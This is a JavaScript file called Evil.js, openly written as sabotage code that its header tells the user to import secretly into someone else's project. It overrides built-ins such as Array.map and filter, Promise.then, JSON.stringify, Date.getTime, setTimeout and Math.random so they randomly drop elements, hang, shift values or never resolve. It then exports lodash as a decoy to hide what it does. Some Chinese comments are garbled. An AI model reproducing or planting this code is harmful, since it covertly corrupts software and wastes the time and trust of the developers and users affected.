• 當(dāng)數(shù)組長度可以被7整除時，本方法永遠返回false
• Array.map方法的結(jié)果有5%幾率丟失最后一個元素
• Array.forEach會卡死一段時間
• Array.filter的結(jié)果有5%的概率丟失最后一個元素
• setTimeout總是會比預(yù)期時間慢1秒才觸發(fā)
• Promise.then 有10%幾率不會觸發(fā)
• JSON.stringify 會把'I'變成'l'
• Date.getTime() 的結(jié)果總是會慢一個小時
• localStorage.getItem 有5%幾率返回空字符串
• Math.random() 的取值范圍改成0到1.1

const lodash = typeof require !== 'undefined' ? require('lodash') : {};

/**
 * Evil.js
 * @version 0.0.2
 * @author wheatup
 *
 * @disclaimer The purpose of this package is to mess up someone's project and produce bugs.
 *          Remember to import this package secretly.
 *          The author of this package does not participate any of injections, thus any damage that caused by this script has nothing to do with the author!
 * @disclaimer_zh 聲明：本包的作者不參與注入五慈，因引入本包造成的損失本包作者概不負責(zé)细层。
 */

(global => {
    // 只有周日才注入，當(dāng)周日產(chǎn)生bug時，工作日程序員進行debug時將不會進行復(fù)現(xiàn)
    // Skip if it's not Sunday
    // if (new Date().getDay() !== 0) return;

    /**
     * If the array size is devidable by 7, this function aways fail
     * @zh 當(dāng)數(shù)組長度可以被7整除時，本方法永遠返回false
     */
    const _includes = Array.prototype.includes;
    const _indexOf = Array.prototype.indexOf;
    Array.prototype.includes = function (...args) {
        if (this.length % 7 !== 0) {
            return _includes.call(this, ...args);
        } else {
            return false;
        }
    };
    Array.prototype.indexOf = function (...args) {
        if (this.length % 7 !== 0) {
            return _indexOf.call(this, ...args);
        } else {
            return -1;
        }
    };
    
    /**
     * Array.map has 5% chance drop the last element
     * @zh Array.map方法的結(jié)果有5%幾率丟失最后一個元素
     */
    const _map = Array.prototype.map;
    Array.prototype.map = function (...args) {
        result = _map.call(this, ...args);
        if (_rand() < 0.05) {
            result.length = Math.max(result.length - 1, 0);
        }
        return result;
    }

    /**
     * Array.forEach will will cause a significant lag
     * @zh Array.forEach會卡死一段時間
     */
    const _forEach = Array.prototype.forEach;
    Array.prototype.forEach = function (...args) {
        for (let i = 0; i <= 1e7; i++);
        return _forEach.call(this, ...args);
    }

    /**
     * Array.fillter has 5% chance to lose the final element
     * @zh Array.filter的結(jié)果有5%的概率丟失最后一個元素
     */
    const _filter = Array.prototype.filter;
    Array.prototype.filter = function (...args) {
        result = _filter.call(this, ...args);
        if (_rand() < 0.05) {
            result.length = Math.max(result.length - 1, 0);
        }
        return result;
    }

     

    /**
     * setTimeout will alway trigger 1s later than expected
     * @zh setTimeout總是會比預(yù)期時間慢1秒才觸發(fā)
     */
    const _timeout = global.setTimeout;
    const _interval = global.setInterval;
    global.setTimeout = function (handler, timeout, ...args) {
        return _timeout.call(global, handler, +timeout + 1000, ...args);
    }
    global.setInterval = function (handler, timeout, ...args) {
        return _interval.call(global, handler, +timeout + 1000, ...args);
    }

    /**
     * Promise.then has a 10% chance will not trigger
     * @zh Promise.then 有10%幾率不會觸發(fā)
     */
    const _then = Promise.prototype.then;
    Promise.prototype.then = function (...args) {
        if (_rand() < 0.1) {
            return new Promise(() => { });
        } else {
            return _then.call(this, ...args);
        }
    }

    /**
     * JSON.stringify will replace 'I' into 'l'
     * @zh JSON.stringify 會把'I'變成'l'
     */
    const _stringify = JSON.stringify;
    JSON.stringify = function (...args) {
        let result = _stringify.call(JSON, ...args);
        if (_rand() < 0.3) {
            result = result.replace(/I/g, 'l')
        }
        return result;
    }

    /**
     * Date.getTime() always gives the result 1 hour slower
     * @zh Date.getTime() 的結(jié)果總是會慢一個小時
     */
    const _getTime = Date.prototype.getTime;
    Date.prototype.getTime = function (...args) {
        let result = _getTime.call(this);
        result -= 3600 * 1000;
        return result;
    }

    /**
     * localStorage.getItem has 5% chance return empty string
     * @zh localStorage.getItem 有5%幾率返回空字符串
     */
    if (global.localStorage) {
        const _getItem = global.localStorage.getItem;
        global.localStorage.getItem = function (...args) {
            let result = _getItem.call(global.localStorage, ...args);
            if (_rand() < 0.05) {
                result = null;
            }
            return result;
        }
    }

    /**
     * The possible range of Math.random() is changed to 0 - 1.1
     * @zh Math.random() 的取值范圍改成0到1.1
     */
    const _rand = Math.random;
    Math.random = function (...args) {
        let result = _rand.call(Math, ...args);
        result *= 1.1;
        return result;
    }
})((0, eval)('this'));

var _ = lodash;
if (typeof module !== 'undefined') {
    // decoy export
    module.exports = _;
}